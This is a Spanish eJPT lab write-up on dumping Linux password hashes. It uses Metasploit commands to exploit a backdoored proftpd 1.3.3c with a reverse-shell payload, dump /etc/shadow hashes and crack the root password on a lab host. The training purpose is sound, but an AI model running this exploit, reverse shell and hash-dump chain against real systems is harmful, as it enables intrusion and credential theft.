> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/linux/volcado-de-credenciales-de-linux/volcado-de-hashes-de-contrasenas-en-linux.md).

# Volcado de hashes de contraseñas en Linux

## 👥 Multiusuario en Linux

* Linux está diseñado para **soportar múltiples usuarios**, lo que permite que varias personas se conecten simultáneamente al mismo sistema.
* Desde una perspectiva de seguridad, esto puede representar un riesgo ya que **más usuarios = más vectores de ataque** para un potencial atacante.

***

📁 Archivos importantes para la autenticación

**`/etc/passwd`**

* Contiene **información sobre todos los usuarios** del sistema.
* Es **legible por cualquier usuario**.
* No almacena contraseñas directamente, sino que apunta a dónde se almacenan (en el archivo shadow).

**`/etc/shadow`**

* Contiene los **hashes de las contraseñas** de los usuarios.
* **Solo accesible por el usuario root**.
* Esto protege los hashes de accesos no autorizados por parte de usuarios sin privilegios.

***

## 🔍 Estructura de un hash de contraseña

Los hashes en el archivo `/etc/shadow` incluyen información que nos permite identificar el algoritmo usado para generar la contraseña. Se identifica por el número entre signos de dólar (`$`):

| Valor | Algoritmo de Hash |
| ----- | ----------------- |
| `$1`  | MD5               |
| `$2`  | Blowfish          |
| `$5`  | SHA-256           |
| `$6`  | SHA-512           |

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/HnZ2nQKna26GW9JoURZJ" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/V1J7bw3PXrw5Utc0OU2m" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Ejecute un escaneo nmap contra el objetivo:

**Dominio:**

```
nmap -sS -sV demo.ine.local
```

<figure><img src="/files/i80qldFOIBCduWVID387" alt=""><figcaption></figcaption></figure>

**Paso 4:** Hemos detectado un servidor proftpd 1.3.3c ejecutándose en la máquina objetivo. Ejecutaremos el script nmap vuln para identificar la vulnerabilidad.

**Dominio:**

```
nmap --script vuln -p 21 demo.ine.local
```

<figure><img src="/files/TSBsJfEpfTPIWIX9tp6b" alt=""><figcaption></figcaption></figure>

La instalación de destino proftpd ha estado ejecutando una versión con puerta trasera.

**Paso 5:** Iniciaremos el servidor de base de datos PostgreSQL en la máquina atacante. Iniciaremos PostgreSQL para almacenar todo el botín de Metasploit y otra información confidencial de la máquina objetivo.

**Dominio:**

```
/etc/init.d/postgresql start
```

<figure><img src="/files/SmzbT5Gfg7Im9h7PbPbb" alt=""><figcaption></figcaption></figure>

**Paso 6:** Hemos iniciado el servidor de base de datos PostgreSQL. Inicie Metasploit y explote el servidor Proftpd usando el módulo exploit/unix/ftp/proftpd\_133c\_backdoor.

Asegúrese de reemplazar LHOST con la dirección IP de la máquina atacante.

**Comandos:**

```
msfconsole -q
use exploit/unix/ftp/proftpd_133c_backdoor
set payload payload/cmd/unix/reverse
set RHOSTS demo.ine.local
set LHOST 192.70.114.2
exploit -z
```

<figure><img src="/files/G6oU0xY4hozqyNfko38m" alt=""><figcaption></figcaption></figure>

**Paso 7:** Hemos explotado el servidor FTP objetivo. Utilizaremos un módulo de postexplotación para volcar los hashes de los usuarios del sistema.

**Comandos:**

```
use post/linux/gather/hashdump
set SESSION 1
exploit
```

<figure><img src="/files/got1D5uQK4QddjPsEVKl" alt=""><figcaption></figcaption></figure>

**Paso 8:** Ejecute el módulo auxiliar proporcionado para encontrar la contraseña de texto simple del usuario root.

**Dominio:**

```
use auxiliary/analyze/crack_linux
set SHA512 true
run
```

<figure><img src="/files/clNzTCQ1UEYbTmkCCiTM" alt=""><figcaption></figcaption></figure>

Esto nos revela la bandera.

**Bandera:** password

#### Conclusión

En este laboratorio, explotamos una aplicación vulnerable, realizamos un volcado de hash y también desciframos el hash, todo mediante módulos de metasploit.

#### Referencias

* Módulos de Metasploit
  * <https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd\\_133c\\_backdoor>
  * <http://rapid7.com/db/modules/post/linux/gather/hashdump>
  * <https://www.rapid7.com/db/modules/auxiliary/analyze/crack\\_linux>
* [Proftpd con puerta trasera](https://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor)
